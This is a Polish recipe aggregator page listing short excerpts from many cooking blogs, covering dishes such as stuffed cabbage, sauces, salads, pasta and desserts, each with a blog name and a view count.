kapust, które nam zostały, ściśle układamy gołąbki, zalewamy gorąca wodą i dusimy pod przykryciem na małym ogniu, aż będą miękkie. Dodajemy vegetę lub kostki rosołowe . warianty gołąbki podajemy z sosem pomidorowym i ziemniakami lub samodzielnie

Smakowite Dania
Sałatka po Nicejsku 138

mniejsze kawałki . Ogórka nie obieramy tylko kroimy w ukośne plasterki . Rzodkiewki  szatkujemy  w talarki . Cebulę  siekamy dość grubo . W salaterce układamy luźno wszystkie  składniki polewamy sosem z cytryny i oliwy , przyprawiamy solą i pieprzem , mieszamy delikatnie  i posypujemy  natką pietruszki

Smakowite Dania
Kotleciki z ryżu 141

które przygotowałam z ryżu pozostałego z poprzedniego dnia , niewymagające wielkich umiejętności kulinarnych a jednocześnie smaczne i zdrowe . Kotleciki z ryżu mogą stanowić przekąskę z surówką lub być dodatkiem do sosu . składniki na 4 porcje 2 szklanki ugotowanego ryżu 2 jajka ugotowane na twardo 1 jajko surowe 2 łyżki natki pietruszki 2 łyżki masła lub oleju 3/4 szklanki bułki tartej sól

Smakowite Dania
Makaron z pieczarkami i serem pleśniowym 172

zioła prowansalskie , doprawiamy solą i pieprzem .Całość podgrzewamy delikatnie mieszając aż ser się roztopi . Makaron gotujemy w osolonej wodzie al dente czyli lekko twardy i podajemy z przygotowanym sosem

Smakowite Dania
Test Kulinarnych Inspiracji KAMIS 205

Polędwiczki z jabłkiem w sosie szałwiowym                                                       Rozmarynowy kurczak z warzywami                  W każdym zestawie  znajduje się

Smakowite Dania
Śledzie z cebulą i pomidorami 166

kroimy w dzwonka . Cebulę kroimy w plastry , wrzucamy na rozgrzany tłuszcz i dusimy aż będzie miękka . Dodajemy   koncentrat pomidorowy i szczyptę cukru i jeszcze chwilę dusimy. Gdy sos wystygnie zalewamy nim śledzie i odstawiamy do lodówki  na 24 godziny

Smakowite Dania
Jajka w pomidorach 165

siekamy. Pomidory z puszki rozgniatamy widelcem, zagotowujemy, dodajemy pól szklanki bulionu, zeszkloną na maśle cebulę, doprawiamy sola i pieprzem, dodajemy połowę pęczka  posiekanego szczypioru. Całość chwilę gotujemy. Nalewamy sos do miski, na wierzchu układamy połówki jajek. Całość posypujemy resztą posiekanego szczypioru. Podajemy z ugotowanym ryżem. Danie można podawać na ciepło lub zimno

Smakowite Dania
Pieczarki w cieście 446

pieprzem. Ciasto powinno być dosyć gęste. Rozgrzewamy olej, pieczarki zanurzamy w cieście i smażymy na złoto, należy uważać żeby się nie przypaliły. Podajemy na gorąco z dodatkiem ostrych sosów

Smakowite Dania
Sos chrzanowy na zimno 198

Błyskawiczny sos chrzanowy z dodatkiem jabłka, to propozycja której nie może zabraknąć na stole wielkanocnym. Jest smaczny a do tego banalny w przygotowaniu, wystarczy wszystkie składniki posiekać a potem wymieszać. Polecam do wypróbowania. składniki na 2 porcje 3 łyżki tartego chrzanu ze słoiczka 2 jajka ugotowane na twardo jabłko szklanka śmietany 18 % szczypta soli szczypta cukru przepis Ugotowane jajka

Smakowite Dania
Banany w czekoladzie z kokosem+ film 227

mniejsze kawałki i rozpuszczamy w kąpieli wodnej . Dodajemy margarynę i cukier .Całość mieszamy do momentu aż wszystkie składniki dokładnie się rozpuszczą. Banany nabijamy na patyczki do szaszłyków , maczamy w sosie czekoladowym i obtaczamy w wiórkach kokosowych . Deser wstawiamy do lodówki na 2 godziny

Smakowite Dania
Tarta z brokułami + film 171

Pyszna i zdrowa tarta z brokułami i pomidorem polana sosem jajeczno - serowym to moja propozycja na obiad dzisiejszego dnia .Jest bardzo prosta w przyrządzeniu, idealnie nadaje się dla dzieci , jest chrupiąca i bardzo smaczna .Zachęcam do wypróbowania . składniki na formę tarty               kruche ciasto 1,5 szklanki mąki szczypta soli

Smakowite Dania
Sos musztardowy+ film 187

Gorący i pyszny sos musztardowy, będzie doskonałym dodatkiem do wszelkiego rodzaju mięs pieczeniowych a także drobiu i ryb. Przygotowuje się go ekspresowo i bardzo prosto. W zależności od dodanego rodzaju musztardy można uzyskać ciekawy efekt smakowy. Polecam do wypróbowania. składniki na 2 porcje 3 łyżki margaryny 3 łyżki mąki 1 i 1/2 szklanki rosołu ( może być z kostki ) 3 łyżki

Smakowite Dania
Mini torciki z owocami + film 162

kiwi przepis Masło o temperaturze pokojowej ubijamy z cukrem pudrem na puszystą masę .Cały czas ubijając dodajemy po łyżce serek homogenizowany. Pod koniec ubijania dodajemy skórkę z pomarańczy i sos z pomarańczy . Herbatniki układamy po 2, smarujemy kremem z serka i przykrywamy warstwą herbatników.Na wierzch herbatników nakładamy krem i owoce. Torciki wkładamy do lodówki na godzinę

Smakowite Dania
Makaron z serem i truskawkami + film 237

opakowaniu a następnie odcedzamy. Do miski wkładamy serek homogenizowany, dodajemy cukier puder i śmietanę, całość dokładnie mieszamy. Opłukane truskawki kroimy na połówki. Na talerz kładziemy porcję makaronu i polewamy sosem z serka i śmietany a  wierzch posypujemy truskawkami

Smakowite Dania
Kurczak z ananasem + film 202

czasu mieszając. Mięso przekładamy do rondla zalewamy sokiem z ananasa i uzupełniamy wodą, tak żeby mięso było przykryte płynem, dusimy pod przykryciem do miękkości, dodajemy ananasa z puszki . Sos zagęszczamy łyżką mąki zmieszaną z połową szklanki wody, dodajemy szczyptę cukru , doprawiamy papryką i solą, całość mieszamy i dusimy jeszcze około 5 minut. Danie najlepiej smakuje z ryżem ugotowanym na sypko

Smakowite Dania
Placki z ugotowanych ziemniaków + film 182

Pyszne placki z ugotowanych ziemniaków to tania i prosta propozycja obiadowa . Najlepiej smakują z sosem i  dodatkiem surówki . Są  pyszna alternatywą dla mięsa a więc szczególnie polecam je dla jaroszów . składniki na 14 placków 1 kg ziemniaków 2 małe cebule 2 jajka 1/2 szklanki mąki pszennej 5 łyżek oleju do smażenia płaska łyżeczka soli pieprz przepis Obrane

Smakowite Dania
Sos tatarski + film 173

twardo jajka drobno siekamy, im drobniej tym lepiej. Wszystkie składniki wrzucamy do miski , dodajemy majonez, musztardę i wszystko dokładnie mieszamy, doprawiamy solą, pieprzem i cukrem, jeszcze raz mieszamy. Gotowy sos wstawiamy na pół godziny do lodówki

Smakowite Dania
Domowa przyprawa + film 197

Domowa, uniwersalna, prosta, smaczna, przyprawa do sosów, zup i innych dań, zastępuje kupowaną  w sklepie wegetę , która zawiera duże ilości soli, glutamin sodu i inne niechciane dodatki . Przygotowanie jest proste - miksujemy lub mielimy a następnie łączymy wszystkie składniki przyprawy i dokładnie mieszamy. składniki na około 300 g przyprawy opakowanie suszonych warzyw 200 g ( marchewka, pietruszka, pasternak, seler, por, cebula

Smakowite Dania
Surówka z marchwi i chrzanu + film 139

surówek z marchewki. Dodatek chrzanu daje jej bardziej zdecydowany smak a jabłko idealnie komponuje się z marchewką. W moim domu często gości na stole z dodatkiem sztuki mięsa w sosie. składniki na 5 - 6 porcji 4 duże marchwie 1 jabłko 2 łyżeczki tartego chrzanu ze słoiczka 1/2 szklanki śmietany 18% cukier sól przepis Umytą i obraną marchew ścieramy na tarce

Smakowite Dania
Domowe hamburgery + film 252

około 3 minuty . Bułki przekrawamy na pół, przekładamy do formy do pieczenia i zapiekamy w piekarniku rozgrzanym do 180 st.C około 5 minut. Ciepłe spody bułek smarujemy przygotowanym sosem, na wierzch kładziemy liście sałaty, hamburgera, pomidora, ogórki, czerwoną cebulę oraz  paprykę.Wierzch hamburgera przykrywamy drugą połową bułki

Smakowite Dania
Surówka z młodej kapusty + film 188

praskę do miski przeciskamy czosnek, lekko oprószamy solą i czarnym pieprzem, dodajemy przyprawę curry i majonez, wszystko dokładnie mieszamy. Natkę pietruszki niezbyt drobno siekamy, dodajemy do kapusty, surówkę polewamy sosem i dokładnie mieszamy

Smakowite Dania
Zapiekanka ziemniaczana z wątróbką + film 195

piekarniku rozgrzanym do 180 st.C. W  tym czasie do miski wbijamy jajka, dodajemy śmietanę całość lekko solimy i dokładnie mieszamy. Po 20 minutach pieczenia zapiekankę polewamy przygotowanym sosem jajeczno- śmietanowym i pieczemy kolejne 20 minut w piekarniku rozgrzanym do 180 st.C

Smakowite Dania
Gołąbki w młodej kapuście + film 223

Gołąbki w młodej kapuście to smaczny sposób na wykorzystanie tego pysznego warzywa. Podane na gorąco z sosem pomidorowym smakują wyśmienicie i  mogą doskonale urozmaicić codzienne obiady. składniki na ok. 20 gołąbków średnia główka młodej kapusty 1 jajko 2 torebki ryżu ( każdy po 100 g ) 500 g mięsa mielonego 2 cebule 1 średnia marchew łyżka masła domowa przyprawa typu wegeta

Smakowite Dania
Sałatka z kalafiorem, brokułem i pomidorem + film 197

oliwę z oliwek, dodajemy wodę i musztardę, wsypujemy szczyptę czosnku granulowanego oraz ziół prowansalskich,wszystko dokładnie mieszamy. Do miski wrzucamy kalafior, brokuła oraz pomidory, sałatkę posypujemy koperkiem i polewamy sosem, wszystko mieszamy

Smakowite Dania
Dip brokułowy + film 202

brokułowy z czosnkiem to prosty, szybki w przygotowaniu i smaczny sos na zimno, idealny do kanapek z wędliną a także potraw z grilla. W wersji light, zamiast majonezu polecam użyć jogurtu naturalnego. składniki na ok.400 g 1 średni brokuł 2 ząbki czosnku 1 łyżka soku z cytryny 1/2 łyżeczki cukru szczypta czarnego pieprzu 140 g majonezu przepis Umytego brokuła gotujemy

Smakowite Dania
Placki z cukinii + film 175

Rewelacyjne placki z cukinii to jedno z prostszych, letnich dań. Błyskawiczne w przygotowaniu mogą stanowić smaczny obiad lub ciepłą kolację, idealnie smakują podane z sosem pieczarkowym.  składniki na około 15 placków 2 małe cukinie 2 cebule 1 marchewka 15 dag sera żółtego 3/4 szklanki mąki pszennej 2 jajka olej do smażenia czarny pieprz sól przepis Umyte cukinie razem

Smakowite Dania
Makaron z tuńczykiem + film 178

błyskawiczny obiad lub gorącą, sycącą kolację. Polecam to banalnie proste i naprawdę błyskawiczne w przygotowaniu danie.   składniki na 3 porcje 300 g makaronu 2 puszki tuńczyka w sosie własnym 4 ząbki czosnku 1/2 pęczka natki pietruszki 20 dag sera żółtego 3-4 łyżki oliwy z oliwek sól przepis Makaron gotujemy w garnku z osolonym wrzątkiem według przepisu na opakowaniu

Smakowite Dania
Kotlety z kaszy gryczanej z pieczarkami + film 227

przygotowaniu kotlety z kaszy gryczanej z pieczarkami to idealne danie na obiad i ciekawa alternatywa dla tradycyjnych kotletów mięsnych.Ta smaczna i niedroga potrawa najlepiej smakuje podana z sosem i surówką. składniki na około 20 kotletów 2 szklanki kaszy gryczanej 20 dag pieczarek pęczek natki pietruszki 1 cebula 1-2 jajka 2 łyżki masła roślinnego olej do smażenia + 1 łyżka

Smakowite Dania
Domowe nuggetsy + film 196

przypraw, w panierce z bułki tartej i płatków kukurydzianych. Jest to danie łatwe do przyrządzenia, a przy tym niezwykle smaczne, można je podać z ziemniakami i sałatą lub ulubionym sosem i frytkami. składniki na około 20 nuggetsów 50 dag piersi z kurczaka 1 jajko 1/2 szklanki bułki tartej 4 garście płatków kukurydzianych olej do smażenia 1/2 łyżeczki przyprawy curry

Smakowite Dania
Śledzie w pomidorach z cebulą i rodzynkami + film 178

Pyszne śledzie w słodko - kwaśnym sosie pomidorowo - miodowym z cebulą i rodzynkami, wzbogacone majerankiem i pieprzem to świetna przystawka na co dzień i od święta. W moim domu co roku goszczą na wigilijnym stole. składniki na 3 porcje 5 płatów śledziowych 3 łyżki koncentratu pomidorowego 3 cebule 3 łyżki oleju 2 łyżki miodu 2 garście rodzynek czarny pieprz 2 łyżki

Smakowite Dania
Smażona polenta (Polenta fritta) 253

ulubione zioła, które sprawią, że będzie smaczniejsza. Sprawdza się również jako składnik sałatek. Może być alternatywą dla frytek, usmażona na małej ilości oliwy lub grillowana i podana z ulubionym sosem np. pomidorowym lub serowym . Z moją polentą poszłam na łatwiznę i przygotowałam ją z gotowej podgotowanej mąki kukurydzianej, której zrobienie zajmuje około 3 minut Używając zwykłej mąki kukurydzianej, polentę należy

Oryginalny smak
Ciasto cebulowe 289

Cebulka na idealnym cieście drożdżowym to jest coś, co lubię najbardziej Ciasto jest naprawdę bardzo pyszne i pewnie jeszcze niejeden raz zagości na moim stole. Sos śmietanowy można zastąpić żółtym serem. Składniki: Ciasto: 270 g mąki 115 g mleka żółtko łyżeczka soli 50 g masła 50 g drożdży łyżka cukru Farsz: 0,5 kg cebuli jajko +1 białko pozostałe

e-PrzepisyKulinarne
Szybka i smaczna obiadokolacja 2598

Makaron z tuńczykiem, świeżym szpinakiem, suszonymi pomidorami i oliwkami porcja dla 4 osób Należy przygotować: 250 g grubego makaronu (u mnie razowe penne) 2 puszki tuńczyka w kawałkach, w sosie własnym (każda po 130 g ryby) 2-3 ząbki czosnku ok. 80-100 g świeżego szpinaku 10-12 suszonych pomidorów z oliwy ok. 50 g ciemnych oliwek 1 łyżkę oliwy

Ratunku obiad
Kolorowy banan 196

kilka owoców żurawiny łyżka cukru trzcinowego Wykonanie: Banany myjemy przekrawamy wzdłuż. Każdą połówkę banana skropić sokiem z limonki. Jogurt mieszamy z dżemem wiśniowym. Wyłożone na półmisku banany polewamy owocowym sosem jogurtowym, posypujemy suszoną żurawiną oraz cukrem trzcinowym. Smacznego

kgwjanczewo
Makaron z tunczykiem i ricotta 211

dente w osolonej wodzie. Ricottę mieszamy w miseczce z odsączonym tuńczykiem, przyprawami i oliwą a na końcu dodajemy natkę. Gdy makaron jest gotowy, odcedzamy go i łączymy z powstałym sosem. Skrapiamy sokiem z cytryny i podajemy

Dzieje kuchennej Wiewióry
Udka z kurczaka z sosem z gorgonzoli z puree cytrynowym. 197

wkładamy pod przykryciem na 25 minut do piekarnika w temperaturze 170 stopni termoobieg, lub 185 funkcja góra - dół. Po tym czasie wyciągamy udka i dajemy im odpocząć; przygotowujemy sos. Do bazy z pieczonego mięsa dodajemy śmietankę i kilka kleksów gorgonzoli. Łączymy mieszając na małym ogniu. Ziemniaki gotujemy do miękkości w osolonej wodzie, ugniatamy na puree z łyżką masła, trzema łyżkami

BaRepas
Spaghetti truskawkowe 230

łyżka płatków migdałowych Przygotowanie:     Truskawki zmiksować razem ze śmietanką i cukrem. Makaron ugotować. Migdały uprażyć na suchej patelni. Makaron wyłożyć na talerz, polać sosem truskawkowym i posypać migdałami

Amatorka kuchenna
Deser z grilla – grillowanie deserów jest pełne zabawy i aromatu 226

powstanie dużego płomienia. Tak ma być! Efekt wizualny jest niesamowity. Tak przygotowanego ananasa grillujemy aż zbrązowieje a jego powierzchnia będzie błyszcząca. Oczywiście najlepiej smakuje podawany z lodami, posiekanymi orzechami, sosem czekoladowym itp. To jest extra deser na każdą okazję! Prosty, łatwy i szybki. Zabierając się za grillowanie deserów należy zwrócić uwagę na kilka istotnych rzeczy. Po pierwsze; jeśli chcemy grillować

naRuszcie
Kopytka 245

wałek, lekko spłaszczamy i na ukos kroimy kopytka. Gotujemy w osolonym wrzątku przez ok. 3 minuty od momentu wypłynięcia kopytek na powierzchnię wody. Podajemy na ciepło, np. z dowolnym sosem lub z podsmażoną na maśle cebulką. Smacznego

KasiekGotuje
Zupa a’la strogonoff 314

Pokazywałam Wam już moją wersję na danie strogonow. Tamta wersja jest bardziej sycąca, bardziej gęsta, nie aż tak jak sos, ale znacznie bardziej niż zupa. Strogonow cieszy się dużą popularnością u nas w domu, ale chciałam zrobić trochę lżejszą wersję tego dania. Wieprzowinę zamieniłam na pierś z kurczaka, zupa jest bardziej płynna, lżejsza i znacznie szybciej się przygotowuje. Zupa

dom-agi.pl
Krem kokosowy 207

Masa netto: 200 g. Krem ma zastosowanie w wielu daniach, w których pożądany jest smak kokosu. Jeśli przygotowujesz danie wytrawne (szczególnie nadaje się do potraw typu curry, sosów, sałatek), zetrzyj krem kokosowy na tarce lub pokrój go na drobne kawałki, dodaj pod koniec gotowania i wymieszaj. Krem kokosowy może być również dodawany do deserów, ciast (używam do sernika jaglanego – przepis

Qlinarnie i Qlinarnie
Gulasz z indyka 206

wolnowarze jest super miękkie, polecam..Mięsko z indyka natarłam przyprawą meksykańską . Skład przyprawy: sól, chili, pieprz cayen, cebula, czosnek, liść laurowy mielony,kmin rzymski. Przyprawa uniwersalna do mięs, sosów, gulaszu, szaszłyków, grilla. udko z indyka  przyprawa meksykańska marchew cebula czosnek sól, pieprz majeranek ziele angielskie, listek laurowy Z uda wyjąć kość i pokroić w kostkę, natrzeć przyprawą i odstawić

Moje domowe kucharzenie
Jeszcze smaczniejsze naleśniki z serem 195

Naleśniki, uwielbiane nie tylko przez dzieci. Z serem, dżemem, owocami, polane sosem czekoladowym czy podane z bitą śmietaną? Jakie są Wasze ulubione? Dzisiaj okazało się, że polubiłam naleśniki z serem jeszcze bardziej, bo dodałam do nich ulubione owoce i nie tylko.  Chrupiące naleśniki na słodko z twarogiem, kiwi i gruszką posypane słonecznikiem i kokosem Składniki: 500 ml mleka

Moja smaczna kuchnia
Sałatka z octem jabłkowym 288

jeszcze raz. Ponownie wlej go do słoika i pod przykryciem z gazy wstaw do chłodnego pomieszczenia na kolejne 4 tygodnie. KROK 6 Dojrzały ocet przelej do butelek i zakorkuj. SOS DO SAŁATKI: 40 ml octu jabłkowego 10 ml oliwy z oliwek 10 ml oleju rzepakowego 2 utarte ząbki czosnku (tarka o najmniejszych oczkach) 1 łyżeczka suszonego lubczyku 1 łyżeczka suszonego

ClauditteMissCooking
okoń morski 232

każdej strony aż się zarumieni . Przegrzebek smażymy na klarowanym maśle  po 1 minucie z każdej strony , powinien być rumiany ale w środku wilgotny , gdy go przesmażymy będzie gumowaty. Sosem , ciastkami i resztą składników dekorujemy talerz i podajemy rybę i przegrzebek gorące. Smacznego

na gazie
Nowy smak piwa #Somersby #ElderflowerLime oraz przepis na Galaretkę z piwa 210

rozgrzany olej, obsmażyć z obu stron na złoty kolor. Dusić pod przykryciem około godziny, w między czasie podlewać pozostałą marynatą i odrobiną wody. Podawać z warzywami i polać powstałym sosem. Na deser zaś przygotowałam: Galaretkę z piwa   Składniki: 500 ml piwa Somersby o smaku kwiatu bzu i limonki, 1/2 szklanki wody, laska wanilii, szczypta imbiru, 2 czubate łyżki żelatyny

Z miłości do słodkości
Dlaczego gotowane pomidory też są dobre dla zdrowia. Przepis na pomidory po prowansalsku. 217

odchodzi sama. Pomidor w sałatkach świetnie łączy się oliwkami (najlepiej czarnymi, pokrojonymi w plasterki), z liściami bazyli i mięty. Jeżeli Wasz żołądek źle znosi kwasowość pomidora i przygotowujecie sobie sos pomidorowy, pod koniec gotowania dorzucić do niego łyżkę cukru. Pomidory gotowane po prowansalsku – przepis. Porcja dla 6 osób. Przygotowanie 10 minut, gotowanie 20 minut. Potrzebne nam będzie

MODA NA BIO
Ośmiornica marynowana w oliwie 230

łyżeczka ziaren pieprzu, 6-10 ziaren ziele angielskiego, 2 listki laurowe. Marynata: 5 łyżek oliwy, 5 ząbków czosnku, sok z połowy cytryny, 2 łyżeczki ostrej pasty paprykowej, 1 łyżka sosu rybnego, pieprz. Przygotowanie: Łatwiejsza w przygotowaniu jest ośmiornica mrożona, wcześniej oczyszczona, którą trzeba rozmrażać w lodówce przez kilka godzin a przed gotowaniem tylko usunąć oczy umiejscowione między głową i mackami

SzczyptaSmaQ
Kiełbasa z indyka na sposób tajski 219

łyżki  stołowe posiekanej świeżej bazylii 2 łyżki  stołowe posiekanej świeżej kolendry 1 łyżeczka posiekanej świeżej mięty 2 łyżeczki posiekanego czosnku 2 łyżeczki utartego imbiru 1 łyżka sosu rybnego 1 łyżeczka tajskiej zielonej pasty curry 1/2 łyżeczki skórki otartej z cytryny 1 łyżka soku z cytryny przygotowanie Przygotować jelita *   Przygotować farsz mięsny.  Zmielić mięso wraz ze skórą

Stare Gary
Kaczka w miodzie , czerwonych porzeczkach z jabłkami 266

skóra robi się nie taka. Pewnie w końcu dojdę do czegoś metodą prób i błędów - na razie mięso jest smaczne choć jak dla mnie za mało soczyste za to sos jest pyszny. Czytaj więcej

Buniabaje w kuchni
Warzywna frittata z makaronem 282

wierzch się zetnie. Odstawić. Udekorować świeżą natką pietruszki. Jako dodatek do gotowej potrawy świetnie sprawdzi się sałatka (u mnie miks sałat ze szpinakiem, pomidorki cherry i jogurt) oraz sos czosnkowy czy  ketchup. :) Smacznego

Kuchnia Ellie
Wielkanocne jajka na kolorowym twarożku 194

jadamy pod różnymi postaciami. Z twarożkami doprawionymi na różne sposoby, jajka smakują rewelacyjnie. I czasem myślę, że jest to dodatek znacznie ciekawszy niż tradycyjne majonezowe sosy. Spróbujcie sami :) Składniki: 20 dkg twarogu półtłustego (najlepiej), 1 pęczek rzodkiewki , 1 mały pęczek szczypiorku , 1 mały pęczek koperku , 100-150  ml dobrej kwaśnej śmietany , sól i  świeżo

Codzienna kuchnia niecodzienna
Pieczarki faszerowane 236

chodziły" za mną pieczarki i dziś będąc rano w jednym z marketów trafiłem właśnie świeżutką dostawę i normalnie aż żal było nie kupić. Na obiad będzie mielone w sosie pieczarkowym a do tego czasu zrobiłem na szybko pyszną i prostą przekąskę. Składniki : 12 szt większych pieczarek 100 g mięsa mielonego 50 g kaszy jęczmiennej cebula pół papryki (lub po ćwiartce

Mechanik w kuchni
Mój włoski Lider - Pizza z rukolą, prosciutto, pomidorkami i oliwkami 169

mąki z solą, pieprzem i oregano i zagnieść. Gdy ciasto jest zbyt mokre, podsypać mąką. Odstawić na 15 minut, jeśli masz czas. Ciasto rozwałkować, zawinąć rogi do środka, polać sosem pomidorowym i posypać ziołami.  Na ciastko ułożyć mozzarellę i czerwoną cebulę. Piec 15 minut w temp. 190 st. Po upieczeniu ciasta, na pizzy układamy rukolę, szynkę, pomidorki i oliwki

Mój Smak na Życie
Ciasto cebulowe 297

Cebulka na idealnym cieście drożdżowym to jest coś, co lubię najbardziej Ciasto jest naprawdę bardzo pyszne i pewnie jeszcze niejeden raz zagości na moim stole. Sos śmietanowy można zastąpić żółtym serem. Składniki: Ciasto: 270 g mąki 115 g mleka żółtko łyżeczka soli 50 g masła 50 g drożdży łyżka cukru Farsz: 0,5 kg cebuli jajko +1 białko pozostałe

e-PrzepisyKulinarne
Recenzja pióra do dekoracji Cuisipro 161

Wystarczy napełnić pióro, uchwycić w dłoni jak byście mieli długopis i lekko ściskając napisać napis czy wzorek. Pióro możecie napełniać płynną czekoladą, lukrem, marmoladą, miodem czy innym sosem. Jest to produkt idealny do ozdabiania słodkości. Dekorator jest bardzo dobrze wykonany, ma piękny wygląd. Posłuży wam na bardzo długo. W zestawie poza tylką

Marta Gotuje
Houskove knedliky, czyli czeskie knedle ze szczypiorkiem w sosie serowo - śmietanowym. 200

przekrawamy knedle najlepiej żyłką lub nitką na mniejsze placuszki. Knedle można odsmażyć na maśle, lub wrzucić na tetrę na parę na minutę z każdej strony, by je podgrzać.  Sos: -pół cebuli posiekanej -kawałek pora posiekanego -wino białe półwytrawne -ser starty długodojrzewający -kostka serka topionego -śmietana 12% -masło -sól, pieprz Na maśle szklimy cebulę i pora. Solimy i pieprzymy, podlewamy

BaRepas
Kotlety z kurczaka rosołowego 193

były zbyt rzadkie dodać bułkę tartą . Formować małe kotleciki. Obtoczyć je w jajku, a następnie w bułce tartej. Smażyć na oleju z obu stron do zarumienia. Kotleciki podałam z sosem śmietanowo-pieczarkowym przepis tutaj

O kuchni z uczuciem
Królik w sosie śmietanowym z rozmarynem 211

zmienić. Zakupiłam królika i zabrałam się za gotowanie. Szczerze przyznam, że przygotowując go posiłkowałam się nieco przepisem Pascala z książki Lidla. Wyszło pyszne delikatne mięso w cudownym rozmarynowym sosie. Polecam wszystkim amatorom króliczego mięska i nie tylko :) Potrawa wolna od glutenu.   Czas przygotowania: 1h Ilość porcji: 4 Składniki: Królik (waga ok. 1200-1300g) 250ml bulionu drobiowego 200ml śmietany

Kolizje Smaków
Makaron z suszonymi pomidorami i oliwkami 210

Dania makaronowe uwielbiam pod każdą postacią. A ten sos pasuje do ich każdego rodzaju, jest cudowny i aromatyczny, przebija się tu słodycz suszonych pomidorów i lekko cierpki, wytrawny smak oliwek. Do tego dużo prażonych migdałów i posiekanej natki – to absolutny obowiązek! Pyszne i rozgrzewające jedzenie, które sprawia, że ostatnie podrygi zimy stają się bardziej znośne. Składniki na 2 duże

Roślinna - blog wegański
Pyszny roślinny pasztet z suszoną śliwką. Tradycyjny zestaw obiadowy 253

zimno. Świetny jako przekąska, wyśmienicie smakuje też na kanapach. Ja bardzo lubię podawać go do tradycyjnego zestawu obiadowego, który umieszczam poniżej. Można pokusić się o zrobienie sosu jako dodatku do pasztetu, np. chrzanowego (w tym celu w rondelku wystarczy podgrzać odrobinę roślinnej śmietanki lub mleka sojowego, dodać chrzan i przyprawy), jednak moim zdaniem nie jest to konieczne. Pasztet ma delikatną

Roślinna - blog wegański
Pomarańczowe kluski z duszonymi warzywami po włosku 185

pomidory i cukinię. Przykryj i gotuj jeszcze 5-7 min., aż cukinia zmięknie. Na koniec dopraw solą i pieprzem.  Pomarańczowe kluski wyłóż na talerz i polej gorącym, aromatycznym sosem.  4 porcje Smacznego

Roślinna - blog wegański
Szpinakowelove czyli makaron ze szpinakiem i warzywami 212

oddzielnym pojemniku aby uniknąć niechcianego zważenia pod wpływem ciepłej temperatury, dodając kilka łyżek gorącego szpinaku z kurczakiem i mieszając wszystko razem.  7. Wszystko razem mieszamy i odstawiamy. Szpinakowy sos z warzywami podajemy z makaronem (w moim przypadku używałam pełnoziarnistego).  I gotowe ! Smacznego

Zdrowo kolorowo lifestylowo
Jabłka w cieście lewandowo- maślankowym 209

cytryny składniki na ciasto mieszamy, słodzimy syropem lawendowym smażymy na oleju rzepakowym:) podajemy gorące z cukrem pudrem lub na zimno z serkiem mascarpone lub bitą śmietaną, bądź zielonym sosem na bazie skórek z jabłek: skórki z jabłek do ciasta karmelizujemy, dolewamy kubeczek wody, i syrop lawendowy, blendujemy:) SMACZNEGO

Luźna Kuchnia
Sałatka z mozzarellą i pomarańczą na roszponce 275

kawałki Na sałacie ułożyć pokrojone owoce oraz kulki mozzarelli. Pestki dyni uprażyć na suchej patelni i posypać sałatkę. Olej wymieszać w słoiczku z miodem i sokiem z cytryny. Gotowym sosem skropić sałatkę i podawać

Monia miesza i gotuje
Falafel, czyli genialne chrupiące orientalne kotleciki z ciecierzycy 218

falafelu. Oczywiście można sobie takiego zakupić „na mieście” za przysłowiowe 10zł, ale ja wolę zdecydowanie taki domowy, mam wtedy pewność na jakim tłuszczu jest smażony, z jakim sosem podany i oczywiście nie zdarzyło mi się jeszcze aby ktoś podawał go... Falafel, czyli genialne chrupiące orientalne kotleciki z ciecierzycy is a post from: NIE BO PIEKŁO

Nie Bo Piekło
Pierogi leniwe ze szpinakiem 219

romby. Pierogi leniwe wrzucać do wrzącej, osolonej wody, gotować 2-3 minuty do wypłynięcia na powierzchnię. Odcedzić. Podawać np. z oliwą i parmezanem lub jako dodatek do mięsa w sosie. Smacznego

Moje Qulinaria
Tarte flambée 266

kombinujcie tylko z pomidorami i oliwkami, bo wyjdzie pizza, a na włoską pizzę, to jeszcze poznacie przepis! Do tego zrobiliśmy szybką sałatę z kurczaka, żółtej papryki i gruszki polaną sosem z oliwy, octu balsamicznego i musztardy. Znajdźcie godzinę i zróbcie sobie dobrze. Dobierzcie kilka zdjęć alzackich miasteczek, przeplećcie je kilkoma zdjęciami Akana, rzućcie sobie to wszystko na ścianie albo przynajmniej

GRUBY WAŁEK
Piersi z kurczaka w pikantnej marynacie 329

doprawione,mięciutkie i soczyste. Polecam! Składniki: 60 dag piersi z kurczaka Marynata: 1 ząbek czosnku 4 łyżki oleju rzepakowego lub oliwy z oliwek 2 łyżki octu balsamicznego 1 łyżka sosu sojowego 1 łyżeczka ostrej musztardy (użyłam dijon) 1 łyżeczka ostrej mielonej papryki 1 łyżeczka soli (dałam 1/2 łyżeczki) 1/2 łyżeczki rozmarynu 1/2 łyżeczki tymianku Sposób wykonania: 1. Przygotować marynatę, czosnek

Kuchnia domowa Ani
Domowe frytki z piekarnika 305

pieczenia można odwrócić je na drugą stronę, należy zrobić to delikatnie, bo zanim się zarumienią mają tendencję do rozpadania się.  Posyp solą i podawaj z keczupem lub ulubionym sosem np. czosnkowym . przepis stąd

Proste Potrawy
Makaron z salami i słonecznikiem 219

wlewamy śmietanę i pół szklanki wody z gotującego się makaronu i dokładnie mieszamy. Jako, że makaron powinien być już gotowy - wrzucamy go na patelnię i dokładnie obtaczamy w powstałym sosie doprawiając do smaku. Zdejmujemy na talerz, posypujemy uprażonym słonecznikiem i serem, jak ktoś ma ochotę i... smacznego

Ewa Kuchennie - Kuchnia to serce domu!
Sok pomidorowy 183

można więc zrobić? A no pyszny sok pomidorowy. Część z Was pewnie się krzywi na samą myśl - taki sok pomidorowy nie musi być wypity - może być bazą zup lub sosów! :) Składniki: miąższ z 5 kg pomidorów podłużnych 2 ząbki czosnku 1/2 łyżeczki pieprzu ziarnistego 1/3 łyżeczki soli 1/2 łyżki cukru 1/2 łyżeczki ostrej papryczki lub 1/5 świeżej papryczki chilli

Ewa Kuchennie - Kuchnia to serce domu!
Męską ręką: pieczeń wołowa z pieczonymi warzywami, ziemniakami i sosem winnym 193

temacie z nim konkurować ;) Obecnie leżę przeziębiona i wracam myślami do tego obiadu - pysznej, idealnie wypieczonego kawałka mięsa wołowego z pieczonymi ziemniakami i warzywami, glazurowaną marchewką i sosem ze zredukowanego czerwonego wina.  Niebo w gębie, po prostu

Ewa Kuchennie - Kuchnia to serce domu!
Spaghetti bolognese, Ojciec chrzestny 214

